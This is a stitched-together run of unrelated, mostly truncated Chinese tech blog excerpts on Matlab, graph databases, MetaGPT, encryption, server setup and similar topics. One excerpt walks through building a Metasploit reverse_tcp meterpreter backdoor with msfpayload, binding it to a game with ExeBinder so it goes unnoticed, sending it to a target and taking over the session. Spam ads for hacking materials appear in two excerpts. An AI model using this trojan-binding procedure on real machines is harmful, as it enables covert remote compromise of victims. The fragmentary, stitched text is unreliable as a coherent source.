利用Monte Carlo进行数值积分(二)

进步空间很大的算法版本 话说去年6月的一个周六,我很无聊地发了一个帖子,写了一个自己感觉有点无聊的帖子。 Matlab多重积分的两种实现【从六重积分到一百重积分】https://withstand.blog.csdn.net/article/details/127564478 这个帖子居然成了我这种懒人随性瞎写的博文中阅读量、收藏量和评论量最多的一个。 很多人对我不写说明,不写例子提出了意见,开头我写的那个代码里面还有一个小问题。 时隔7个月之后,我抽出一点时间来看这个算法,发现问题简直是大大的。 function ret = integral6mc(fun, lb, ub, N) % fun是被积分的函数 % lb和ub是积分变量的范围,每个都是六维数组 % N MC采样的数目,一般取个几千、几万试一下差不多就行 V = prod(abs(ub-lb)); % 计算超立方体的体积,向量化计算每一个维度的长度(绝对值),求所有维度的乘积 n = length(lb); % 维数 sample = (ub-lb) .* rand(N, n) + repmat(lb,N,1); %产生一个Nxn的随机数组,然后转换到lb~ub的范围,repmat函数是复制矩阵,把行向量复制程Nxn sample_arguments = num2cell(sample, 1);% 把上面的Nxn矩阵换成按列排列的cell(n个元素) results = cell2mat(arrayfun(fun, sample_arguments{:}, 'UniformOutput', 0));%调用被积函数,被积函数的参数有n个,把cell展开({:}操作),这里arrayfun得到的是cell,再合并成mat,就是N个结果的向量 ret = sum(results) * V / N; % 这是MC的核心算法,乘以体积除以样本数 丑陋的'UniformOutput'以及为什么 首先,这里很无聊的搞了cell2mat,以及'UniformOutput', 0的参数,都是因为没仔细考虑,瞎写的。 这里的核心问题是什么呢?是arrayfun这个函数。 这个函数和并行比如parfor这些没关系,是一个单线程的函数,就是把第一个参数(一个函数句柄)逐次应用到后续参数的每一个对应的元素上去。 这里其实有一个小小的问题,是一位强迫我写一个例子的网友提出来的,很对。 f = @(x, y) x * y 这个函数有两个参数,我们可以看到,如果x和y都是标量(一个数字),这个函数没啥问题。如果x,y是两个size一样的向量或者矩阵或者高维矩阵,那么他计算的就不是简单的乘法。只所以我前面调用arrayfun的过程中,需要设置输出可能不一致,就是因为我的目标函数没有写按元操作。

neo4j 图数据库 py2neo 操作 示例代码

文章目录 摘要前置NodeMatcher & RelationshipMatcher创建节点查询获取节点节点有则查询,无则创建创建关系查询关系关系有则查询,无则创建 Cypher语句创建节点 摘要 利用py2neo包,实现把excel表里面的数据,插入到neo4j 图数据库中; 创建新(节点或关系)到neo4j图数据库中;能够获取neo4j 中已有的(节点或关系),不再创建新(节点或关系); 进阶, 敬请期待,案例 前置 安装py2neo: pip install py2neo 安装neo4j软件,请自行安装 NodeMatcher & RelationshipMatcher 代码由 Jupyter 编写,建议使用vscode from py2neo import Graph, Node, NodeMatcher, RelationshipMatcher import pandas as pd # 连接到Neo4j数据库 graph = Graph("bolt://localhost:7687", auth=("neo4j", "你设置的密码")) node_matcher = NodeMatcher(graph) relationship_matcher = RelationshipMatcher(graph) TODO: 设置neo4j 远程连接 创建节点 node = Node("Person", name="Alice", age=18) graph.create(node) 查询获取节点 # 拿到匹配到的第一个节点 node_matcher.match('Person', name='Alice').first() # 拿到可匹配到的所有 node_matcher.match('Person', name='Alice').all() 节点有则查询,无则创建 def get_node(class_, **kwargs): if node := node_matcher.

Java项目:06 Springboot的进销存管理系统

作者主页:源码空间codegym 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文中获取源码 进销存管理系统 介绍 进销存系统是为了对企业生产经营中进货、出货、批发销售、付款等全程进行(从接获订单合同开 始,进入物料采购、入库、领用到产品完工入库、交货、回收货款、支付原材料款等)跟踪(每一步都 提供详尽准确的数据)、管理(有效辅助企业解决业务管理、分销管理、存货管理、营销计划的执行和 监控、统计信息的收集等方面的业务问题)而设计的整套方案。 软件环境 Springboot+MybatisPlus+SpringMvc+Freemarker+Maven 软件架构 1、 基础资料 往来单位资料 货品资料 员工信息 仓库资料 计量单位 账户信息 公司信息 用户可以快速、直观地 查询所需要的数据资料。 2、 系统管理 操作员管理 系统设置 数据初始化 系统管理是整个系统的门户,在系统的安全性上起到了不可估 量的作用。各种信息要求尽量全面详细,使管理变得更轻松更有效。 3、 采购管理 新增采购订单 采购订单查询 新增采购单 采购单查询 采购退货 采购明细表 货品采购汇总表 供应商采购汇总表 采购订单完成情况 采购覆盖企业采购的各个环节。企业通过虚拟的在线货品目 录,迅速而实时的访问货品信息;通过价格和品质的比较,选定产品供应商。 4、 销售管理 新增销售订单 销售订单查询 新增销售单 销售单查询 销售退货 销售明细表 货品销售汇总表 客户销售汇总表 销售订单完成情况 销售覆盖企业销售的各个环节。通过销售订单录入与变更,跟 踪管理商品销售情况;根据货品报价和销售数量自动开出销售发票,根据发货单产生结算凭证和 收货单。 5、 库存管理 新增入库单 新增出库单 仓库调拨 库存盘点 期末提供了货品盘点、货品调价以及业务审核等 期末业务处理功能,业务期末结算为财务期末结算做了必要的铺垫作用。 6、 财务管理 付款单 收款单 其他收入 其他支出 账户查询 应付账款表-单据 应付账款表-往来单位 应收账款 表-单据 应收账款表-往来单位

【AI的未来 - AI Agent系列】【MetaGPT】1. AI Agent如何重构世界

上篇文章我们跑起来了第一个MetaGPT程序。本文主要学习了一下理论,什么是智能体,以及智能体如何重构世界。 0. 什么是智能体 智能体 = LLM+观察+思考+行动+记忆 多智能体 = 智能体+环境+SOP+评审+路由+订阅+经济 用人话说,我理解的Agent: 智能体就是像人一样,能理解现实中的事务,有记忆,会思考,会总结,会学习,像人一样会规划,会决策,会使用各种工具来完成某项任务。多智能体,就像一个团队,大了说像我们现在生活的社会,每个智能体有自己的职能和领域,人与人之间通过协作,能完成更加复杂和庞大的目标。 太理论的东西这里不展开写了,可以参考文末的链接去深入理解。下面只是摘我觉得比较有意思的几个点做一下笔记: (1)目前LLM规划能力较弱 (2)人脑有大量如视神经、听觉神经等小网络;智能体大概率也需要大量的小模型(如在视觉、决策、路由等工作上),不能由一个大模型来主导,一不经济,二不实际。 (3)工具实际就是API,支撑了智能体通往现实世界。假如实现现实世界完整表达的API都已经被实现,那么Agent理论上就可以达到全能。当然,前提是它要能够无错、娴熟的基于这些API写出完整的代码,而这代码自动撰写的missing piece就是MetaGPT 1. 用一个例子看智能体是什么 这是一个GPTs导航,帮助用户用LLM的模糊语义搜索找到全网公开的GPTS以及其体验链接。问它:“logo设计”,这个GPTs的任务就是查找logo设计相关的GPTs,并列出排名、介绍和访问链接。 从图中可以看到它的具体执行步骤: (1)观察和思考:首先结构用户描述,产生搜索用的英文关键字 (2)工具:利用英文关键字,调用webpilot工具API进行检索 (3)观察和思考:根据返回的检索结果,llm就开始观察和思考哪个是最高匹配度的GPTs (4)返回结果 从这些步骤就可以看出里面也是包含了规划在的。 2. AI时代智能体怎样重构世界 (1)Agent:LLM时代的新软件 99%的互联网入口将由App变为智能体:人类感知的字节数降低到极限 我的理解:99%的APP都不再是APP,而是一堆API。手机上只有一个Agent智能体软件作为入口,你想要什么,它去调用一堆API来给你结果。 (2)社会协作变革:虚拟员工进入企业,红杉预计 智能体数量 五年后和人类1比1 3. 有趣的理论:大脑的System1和System2 该理论意思就是:当简单问题时,我们大脑只用System1工作,例如被问“2 + 2 = ?”,我们能脱口而出,没经过思考。而被问“17 * 24 = ?”,我们的大脑就需要计算了,这就需要用到System2 - 你的大脑的另一部分,这部分更加理性,更加缓慢,进行复杂的决策,感觉更有意识。你不得不在脑海中解决这个问题,然后给出答案。 现在事实证明, LLM 目前只有系统 1。它们只有这个本能部分。 参考 【直播回放】MetaGPT作者深度解析直播回放 AI Agent知识体系结构

【AI的未来 - AI Agent系列】【MetaGPT】0. 你的第一个MetaGPT程序

《MetaGPT智能体开发入门》开课,跟着课程,学习MetaGPT智能体开发。 0. 安装MetaGPT 请确保你的系统已安装Python 3.9+。你可以通过以下命令进行检查: python3 --version 下面是具体的安装命令: 安装命令 pip install metagpt 如果想安装特定版本 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple metagpt==0.5.2 如果想更新最新的版本和使用最新功能 pip install git+https://github.com/geekan/MetaGPT 想看源代码,使用源代码 git clone https://github.com/geekan/MetaGPT.git cd /your/path/to/MetaGPT pip install -e . 更多安装教程可参考官方教程 1. 配置MetaGPT 这里使用OpenAI API,所以你首先需要有一个OpenAI的Key。 配置的内容包括三个: OPENAI_API_KEY:你的OpenAI KeyOPENAI_API_MODEL:将要使用的大模型,例如“gpt-3.5-turbo”OPENAI_API_BASE:服务地址,如果用中转服务,必填 下面将配置的内容加入工程中。MetaGPT官方提供的配置方式有3种: 环境变量config/key.yamlconfig/config.yaml MetaGPT将会按照下述优先级来读取你的配置:config/key.yaml > config/config.yaml > environment variable 我这里使用环境变量的方式。 (1)创建一个工程目录 MyMetaGPT,用VSCode打开 (2)新建一个.env文件,将以上配置填加到该文件中 在Python文件(MetaGPT_test.py)中将该.env文件设置的内容加载到环境变量中: # 加载 .env 到环境变量 from dotenv import load_dotenv, find_dotenv _ = load_dotenv(find_dotenv()) 2. 运行第一个MetaGPT程序 我们将创建一个多智能体团队,根据我们的一句话需求编写一个二十一点的游戏软件。 (1)导入已实现的角色

Python编程:大文件Hash计算及加解密

一.前言 在互联网时代,无论文件存储在本地端还是云端,安全性问题都是不容忽略的重要考虑因素。尤其对于重要的学习资料,我们可以在存储前对其进行加密处理,并在需要时使用解密进行恢复。然而,面对大文件,比如约4GB的文件,一次性进行Hash计算及加解密似乎存在一些难题,可能导致内存溢出等问题。因此,设计一种高效的大文件Hash计算及加解密流程显得尤为重要。 二.实现 先简单了解下本文涉及的两种安全算法: SHA-256 加密哈希函数,设计用于产生固定长度的哈希值,通常用于确保数据的完整性。分组大小为64字节。 AES/CBC/PKCS5Padding 对称密钥加密算法,被广泛用于保护数据的机密性。CBC模式使用前一个块的密文与当前块的明文进行异或操作,增强了安全性。需要一个初始化向量(IV)来加密第一个块。分组大小为16字节,不足时需要进行填充。 具体流程 本文中使用SHA-256来计算文件的Hash来确保数据的完整性,使用AES/CBC/PKCS5Padding对文件进行加解密。 对文件进行分块时,要选择合适的块大小BLOCK_SIZE,64B的倍数,本文选取2MB,选择过小,AES填充会使加密后的文件体积增加较大。 需要注意的是,对16B倍数的块,AES填充会增加AES.block_size数据,因此加密时BLOCK_SIZE读取文件,解密需要BLOCK_SIZE+AES.block_size读取文件。 具体代码实现如下,本人电脑配置加解密4GB大小文件均耗时10s左右。 pip install pycryptodome from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from time import time from datetime import datetime import json import os # ASE:16B # SHA256:64B # 加密块大小 2MB BLOCK_SIZE = 1024 * 1024 * 2 def log(text: str) -> None: """ 日志输出 """ format = "%Y-%m-%d %H:%M:%S" format_text = f"

BSC/平衡记分卡

一、Balanced Score Card BSC即平衡计分卡(Balanced Score Card),是常见的绩效考核方式之一,是从财务、客户、内部运营、学习与成长四个角度,将组织的战略落实为可操作的衡量指标和目标值的一种新型绩效管理体系。 是由哈佛商学院发明的一种绩效管理和绩效考核的工具。1990年代初, 美国诺顿研究所主持并完成的 “未来组织绩效衡量方法” 研究计划。该计划最初的动机是认为现有的以财务会计计量为基础的绩效计量方法变得越来越模糊,目的在于找出超越传统以财务计量为主的绩效衡量模式,以使组织的 “战略” 能够转变为 “行动”。该研究包括制造业、服务业、重工业和技术行业的公司。通过研究到实践,平衡计分卡终于成为一个战略实施的工具,将公司的战略落实到可操作的目标、衡量指标和目标值上。 二、BSC计分卡法——美孚石油的经验案例 同学X: 1、美孚公司新制定的战略? 对美孚客户分成5类,前3类客户占总销售额的60%,优先满足这3类客户的需求。采用区分战略,通过在加油站新建便利店和提供优质的服务提高客户的亲密度。 2、在新的战略下,如何分解成平衡记分卡的指标? 财务策略目标:1、增加汽油产品销售收入;2、通过便利店增加非汽油产品收入; 客户策略目标:1、提高终端客户愉悦体验;2、和经销商到双赢; 内部运营策略目标:1、提高现有资产利用率;2、提高加油站服务标准;3、采用神秘打分者对加油站服务进行打分;4、实行经销商满意度调查;5、采用浮动薪酬提高员工的积极性; 学习与发展目标:1、培训经销商管理水平;2、培训员工技能和服务水平; 同学M: 1、美孚石油在经历92年大流血后制定了新的战略方向? 战略目标:占用资产回报生产率12%,分为成长战略和生产战略 成长战略:开源。主要产品销量增长超过行业水平、增加非汽油产品收入、提高高质量产品销售比 生产战略:节流。实现行业最低成本、提高现有资产利用率 2、为了实现这一目标,美孚利用平衡计分卡制定了以下四项战略? 1. 财务目标:主要关注公司的财务表现,包括营收、利润、现金流、市场份额、现有资产利用率等方面,以提高公司的净资产回报率。 2. 客户目标:将客户分5类,分为直接和间接客户,高端、经常上高速等60%客户为直接客户,妇女、低收入等40%为间接客户。针对目标客户,关注客户,包括经销商的满意度调查、愉悦消费经验、客户亲密度、目标客户占有率等指标,以解决如何提供满足客户需求的产品和服务。 3. 内部运营目标:关注提高公司的业务流程和操作效率以提高生产力,包括创新、运营、服务、社会环境四个方面的指标,如增加消费环境(便利店、休息区),制定服务准则十条,通过神秘打分者评价等方法提高客户关系水平的方法从内部运营方面帮助实现战略目标。 4. 学习与发展目标:关注公司在组织和员工方面的发展,包括人力资本方面、组织资本方面等方面的目标,通过激励(物质激励和精神激励)、授权管理、培训提高经销商及员工管理水平等方法开发员工学习与成长方面目标。 同学L: 1、美孚石油在经历92年大流血后制定了新的战略方向? 战略:开源战略 开源:①提高高质量产品之比 ②增加非汽油产品的收入 节流:①优化流程 ②提高现有资产利用率 2、为了实现这一目标,美孚利用平衡计分卡制定了以下四项战略? 四个流程: 1️⃣创新 2️⃣运营 3️⃣服务 4️⃣规范和社会 分别对应以下四个纬度: 1️⃣财务方面:开发新产品,提高利润率等 2️⃣内部运营方面:提高技术创新水平,提高对市场的洞察力,提高客户关系水平等。 3️⃣客户方面: (1)对终端客户:①明确目标用户,区分直接客户与间接客户,让客户有愉悦的消费体验;②利用神秘打分者,保证服务标准的统一。 (2)对于经销商:利用双赢的合作关系,培育经销商。 4️⃣学习与成长方面: 建立人力资本,IT资本,组织资本。进行有效沟通传达战略目标,并利用有效激励机制,激励员工。

Odoo16 模块自动升级 第三方插件推荐

前言 最近由于本地电脑太卡,升级和安装模型耗时太长,就转成用云服务器部署odoo16后来测试代码,但由于使用的是docker compose部署的,想跟本地电脑一样使用--dev=xml来避免因为修改xml的模块升级目前没找到办法,也可能是我知识不够的原因,如果有办法的话还望不吝指教。之后在第三方商店意外看到有模块自动升级的插件,试用了一下感觉可以,就推荐一下。 1. Module Auto Update 插件地址:Module Auto Update | Odoo Apps Store 该模块安装完成后在应用界面上面会有个自动升级模块按钮,第一次点击由于加载所有已安装模块加载时间会久一些后面就快了,然后修改模块后重启一下再点击一下应用界面的自动升级模块按钮就可以完成升级了,效果可能需要刷新一下界面才会出来。感觉就是批量批量升级模块加不需要自己去搜索相应模块了,还算是有提升但还没达到重启服务后自动升级的程度,那样连点击都省了。注意作者默认排除了*.pyc、*.pyo、i18n/*.pot、i18n_extra/*.pot、static/*这些文件。 2. Quick Module Upgrade Install 插件地址:Quick Module Upgrade Install | Odoo Apps Store 该模块安装好后会新增一个菜单项。我这个是手动翻译过的,原来的都是英文。都是机翻,可能存在问题用的时候自行调整。虽然还是需要手动点击但比起原生的好太多了。 这个是模块安装的界面: 翻译文件:zh_CN.po: 放到新建的i18n文件下面升级模块即可使用。 具体代码: # Translation of Odoo Server. # This file contains the translation of the following modules: # * quick_module_upgrade # msgid "" msgstr "" "Project-Id-Version: Odoo Server 16.0-20231222\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2024-01-13 01:26+0000\n" "PO-Revision-Date: 2024-01-13 01:26+0000\n" "Last-Translator: \n"

​​​​​​​基于微信小程序的失物招领系统的设计与实现

摘要:随着移动设备的普及和微信小程序的发展,利用微信小程序开发失物招领系统成为一种便捷、高效的方式。本文详细介绍了基于微信小程序的失物招领系统的设计与实现过程,包括需求分析、系统设计、功能实现和测试等环节。系统实现了失物信息的发布、浏览、搜索和联系方式的绑定等功能,为失主和拾到者提供了便捷的信息交流平台。 关键词:微信小程序;失物招领;移动应用;信息交流 一、引言 随着社会的发展和人们生活节奏的加快,失物招领成为日常生活中经常遇到的问题。传统的失物招领方式存在信息传递不及时、处理效率低下等缺点。随着移动互联网的普及,利用微信小程序开发失物招领系统成为一种新的解决方案。本文旨在设计和实现一个基于微信小程序的失物招领系统,以提高失物招领的效率和信息传递的准确性。 二、需求分析 在需求分析阶段,我们进行了充分的市场调研和用户访谈,明确了系统的基本需求。主要包括以下方面: 用户注册登录:系统需要提供注册和登录功能,以便用户管理个人信息和发布失物信息。失物信息发布:用户可以发布失物信息,包括物品名称、描述、时间、地点等。失物信息浏览:用户可以浏览最新的失物信息,并对感兴趣的信息进行搜索。失物信息搜索:用户可以通过关键字搜索失物信息,提高信息查找的效率。联系方式绑定:用户可以绑定自己的联系方式,以便拾到者与失主直接联系。消息通知:当有新的失物信息发布或与自己相关的信息更新时,用户能及时收到通知。系统管理:管理员可以对用户发布的信息进行审核和管理,确保信息的真实性和有效性。 三、系统设计 基于上述需求分析,我们进行了系统的设计。主要包括以下方面: 数据库设计:根据需求分析,设计合理的数据库结构,包括用户表、失物信息表、通知表等。界面设计:采用微信小程序的界面风格,设计简洁、直观的用户界面,便于用户操作。逻辑流程设计:确定各功能的逻辑流程,包括用户注册登录流程、信息发布流程、信息浏览和搜索流程等。系统架构设计:采用合适的系统架构,如前后端分离架构,以提高系统的可维护性和扩展性。安全性设计:考虑到数据的安全性,采用加密技术对用户密码进行加密存储,确保用户数据的安全。 四、功能实现 根据系统设计,我们进行了功能的开发与实现。主要功能包括: 注册登录功能:用户可以通过手机号或微信号进行注册和登录,系统验证用户输入的密码的正确性并完成注册或登录过程。失物信息发布功能:用户可以选择发布失物信息,填写相关信息后提交完成发布操作。系统会审核发布的信息是否符合要求,如无问题则将其展示在失物信息列表中。失物信息浏览和搜索功能:用户可以在首页浏览最新的失物信息,也可以通过搜索功能查找特定的失物信息。搜索结果会按照相关度进行排序,方便用户查找。联系方式绑定功能:用户可以在个人中心绑定自己的联系方式,也可以修改或解绑已绑定的联系方式。绑定的联系方式仅自己可见,确保隐私安全。当有拾到者联系时,系统会通过绑定的方式通知用户。消息通知功能:当有新的失物信息发布或有与自己相关的信息更新时,系统会通过微信小程序的消息推送功能及时通知用户。通知内容包括失物信息的标题和简短描述,方便用户快速了解信息内容。同时,在通知中提供快捷的操作按钮,方便用户快速跳转到相关的页面进行查看或处理。为了提高消息通知的精准性,我们在推送通知时会根据用户的偏好和使用习惯进行个性化推送。例如,经常发布物品A的用户会更多地收到物品A相关的失物信息通知。此外,为了避免过多的通知对用户造成干扰,我们会限制通知的发送频率和数量,只向有新消息的用户发送通知,并控制每天推送的总量,确保用户体验和通知有效性的平衡。系统管理功能:为了确保失物招领信息的真实性和有效性,我们设立了管理员角色,赋予其对发布的信息进行审核的权限。管理员可以对疑似虚假或无效的信息进行删除或拒绝发布,维护良好的信息环境 功能介绍: 管理员功能模块和用户功能模块是该系统的两大主要功能模块,其功能需求具体如下: 管理员的功能需求: 管理员在后台可以全面管理系统,管理员的功能主要包括用户管理、失物招领管理、寻物启事管理、失物认领、公告信息和论坛管理等。 用户的功能需求:失物招领,查看公告,论坛讨论等操作。 下面是系统运行起来后的一些截图:

flutter ThemeData扩展

多主题需要扩展自定义配色,借助extensions提供的能力 final ThemeData themeLightBlue = ThemeData( primarySwatch: Colors.lightBlue, brightness: Brightness.light, // 其他配置 ).copyWith( // todo 扩展属性 extensions: <ThemeExtension<dynamic>>[ const CustomColorScheme( testColor: Color(0xFFE53935), ), ], ); import 'package:flutter/material.dart'; @immutable class CustomColorScheme extends ThemeExtension<CustomColorScheme> { const CustomColorScheme({ required this.testColor, }); final Color? testColor; @override CustomColorScheme copyWith({Color? testColor, Color? danger}) { return CustomColorScheme( testColor: testColor ?? this.testColor, ); } @override CustomColorScheme lerp(ThemeExtension<CustomColorScheme>? other, double t) { if (other is! CustomColorScheme) { return this; } return CustomColorScheme( testColor: Color.

报错:Unsupported class file major version 61

org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: file [D:\gitProject\sszx\ssyx-parent\ssyx-parent\service\service-acl\target\classes\com\atthy\ssyx\ServiceAclApplication.class]; nested exception is org.springframework.core.NestedIOException: ASM ClassReader failed to parse class file - probably due to a new Java class file version that isn't supported yet: file [D:\gitProject\sszx\ssyx-parent\ssyx-parent\service\service-acl\target\classes\com\atthy\ssyx\ServiceAclApplication.class]; nested exception is java.lang.IllegalArgumentException: Unsupported class file major version 61 at org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider.scanCandidateComponents(ClassPathScanningCandidateComponentProvider.java:452) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider.findCandidateComponents(ClassPathScanningCandidateComponentProvider.java:315) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ClassPathBeanDefinitionScanner.doScan(ClassPathBeanDefinitionScanner.java:276) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ComponentScanAnnotationParser.parse(ComponentScanAnnotationParser.java:132) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ConfigurationClassParser.doProcessConfigurationClass(ConfigurationClassParser.java:296) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ConfigurationClassParser.processConfigurationClass(ConfigurationClassParser.java:250) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ConfigurationClassParser.parse(ConfigurationClassParser.java:207) ~[spring-context-5.2.11.RELEASE.jar:5.2.11.RELEASE] at org.springframework.context.annotation.ConfigurationClassParser.parse(ConfigurationClassParser.java:175) ~[spring-context-5.

阿里云服务器(ECS云服务器)安装redis

前言: 笔者使用的是云服务器是阿里云的ECS服务器 这个服务器内核是Alibaba Cloud Linux 3。 使用的命令行工具为Alibaba Could Manager 命令行工具连接服务器这里就不多说了,如果没有用过的小伙伴可以去看阿里云的官方文档,很详细。 下面我们开始安装 1.确保系统已经更新到最新的软件包列表。运行以下命令: sudo yum update 2.安装Redis。运行以下命令: sudo yum install redis 3.安装完成后,启动Redis服务: sudo systemctl start redis 4.设置Redis开机自启动: sudo systemctl enable redis 5.检查Redis是否正在运行: sudo systemctl status redis 如果正在运行,你可以看到类似如下的输出 redis.service - Redis persistent key-value database Loaded: loaded (/usr/lib/systemd/system/redis.service; enabled; vendor preset: disabled) Active: active (running) since Tue 2024-01-04 12:00:00 UTC; 1min ago Docs: http://redis.io/documentation, man:redis-server(1) Main PID: 1234 (redis-server) CGroup: /system.slice/redis.service └─1234 /usr/bin/redis-server 127.

Kali渗透Windows服务器

实战步骤一 本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下; 1、 实战步骤一:生成setup.exe后门程序,即木马程序。 (1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。 如下图: (2)输入以下命令,使用msfpayload生成名为setup的后门程序: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图: (3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。 如下图所示: (4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示: 实战步骤二 将上面生成的木马程序与某个软件进行捆绑。 【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】 ① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS) (1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序: 点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe: 点击下一步,选择一个文件要保存的路径: 继续点击下一步,开始捆绑软件: (2) 将捆绑后的软件发送给目标主机。 实战步骤三 检测目标主机,对目标主机进行渗透测试。 (2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss: 可以看到目标主机的ip为192.168.189.129, (2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。 要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。 这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享 如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程) 👉网安(嘿客)全套学习视频👈 我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

Ubuntu18(Deepin20) 安装MongoDB和Mongosh

Ubuntu18(Deepin20) 安装MongoDB 下载MongoDB 前往官网下载对应系统版本的MongoDB压缩包:官网 解压 tar -zxvf mongodb-linux-x86_64-ubuntu1804-6.0.12.tgz 配置 sudo mkdir -p /etc/mongodb/data /etc/mongodb/log /etc/mongodb/conf sudo vim /etc/mongodb/conf/mongodb.conf 修改/etc/mongodb/conf/mongodb.conf文件内容如下,使用:wq命令保存。 systemLog: destination: file path: /etc/mongodb/log/mongodb.log logAppend: true storage: dbPath: /etc/mongodb/data engine: wiredTiger journal: enabled: true net: bindIp: 0.0.0.0 port: 27017 processManagement: fork: true 创建启动快捷指令 使用sudo vim ~/.bashrc在~/.bashrc文件末尾添加内容如下,使用:wq保存。 # mongodb export MONGODB_HOME="<你的MongoDB压缩包解压后的位置>" mongodb(){ sudo $MONGODB_HOME/bin/mongod -f /etc/mongodb/conf/mongodb.conf } mongodb_stop(){ sudo $MONGODB_HOME/bin/mongod --port=27017 --dbpath=/etc/mongodb/data --shutdown } # mongodb end 运行sudo source ~/.bashrc后,可以通过下面指令开启和关闭mongodb服务。

网络工程师怎么转行网络安全?

前言 实现从网络工程到网络安全的平稳过渡需要以下步骤和建议: 增强网络安全知识:作为一个网络工程师,你已经有了一定的网络基础知识,这是转向网络安全的一个很好的起点。继续深入学习网络安全领域的知识,包括网络攻击类型、安全原理、安全策略等。可以通过自学、参加网络安全培训课程、在线资源和安全认证来拓宽知识领域。 获得相关证书:网络安全领域的认证证书可以帮助你证明自己的技能和知识水平。考取与网络安全相关的认证,如CISSP(Certified Information Systems Security Professional)或CISM(Certified Information Security Manager)等,可以增加你在网络安全领域的竞争力。 寻找实践机会:在二线城市的集成业务中,争取参与与网络安全相关的项目或任务。这可以包括安全运维、漏洞评估、渗透测试等工作。通过积累实践经验,你可以更深入地了解网络安全工作的实际操作和挑战。 加强编程技能:编程技能在网络安全领域中非常重要。继续学习和提升你的编程能力,特别是与网络安全相关的编程语言和技术,如Python、Bash脚本等。这将使你能够自动化安全任务、开发安全工具和进行漏洞分析。 参与网络安全社区和活动:积极参与网络安全社区,参加安全会议、研讨会和讨论组。这将使你与其他网络安全专业人士建立联系,并获得更多行业洞察力和机会。 争取实习和兼职机会:在实习或兼职中寻找与网络安全相关的机会,这将为你提供更多实践经验和行业认可。可以尝试联系当地的网络安全公司、科研机构或企业的信息安全部门,寻求实习或兼职的机会。 持续学习和自我提升:网络安全是一个不断发展和变化的领域。继续保持学习的状态,关注最新的安全技术、威胁和趋势。参与在线课程、培训和持续教育项目,保持对网络安全领域的更新和深入理解。 通过以上步骤,你可以逐渐转向网络安全领域并获得相关的工作机会。重要的是保持热情和毅力,不断学习和提升自己的技能,积累实践经验,并与网络安全专业人士建立联系,这将有助于你在网络安全领域实现平稳过渡并追求你的目标。 我下面也给大家整理了一些网络安全的资料,大家不想一个一个去找的话,可以参考一下这些资料哈 ​ 如何入门学习网络安全【黑客】 【----帮助网安学习,以下所有学习资料文末免费领!----】 > ① 网安学习成长路径思维导图 > ② 60+网安经典常用工具包 > ③ 100+SRC漏洞分析报告 > ④ 150+网安攻防实战技术电子书 > ⑤ 最权威CISSP 认证考试指南+题库 > ⑥ 超1800页CTF实战技巧手册 > ⑦ 最新网安大厂面试题合集(含答案) > ⑧ APP客户端安全检测指南(安卓+IOS) 大纲 首先要找一份详细的大纲。 学习教程 第一阶段:零基础入门系列教程 该阶段学完即可年薪15w+ 第二阶段:技术入门 弱口令与口令爆破 XSS漏洞 CSRF漏洞 SSRF漏洞 XXE漏洞 SQL注入 任意文件操作漏洞 业务逻辑漏洞 该阶段学完年薪25w+ 阶段三:高阶提升 反序列化漏洞 RCE 综合靶场实操项目 内网渗透 流量分析 日志分析 恶意代码分析

priority_queue 优先队列的介绍

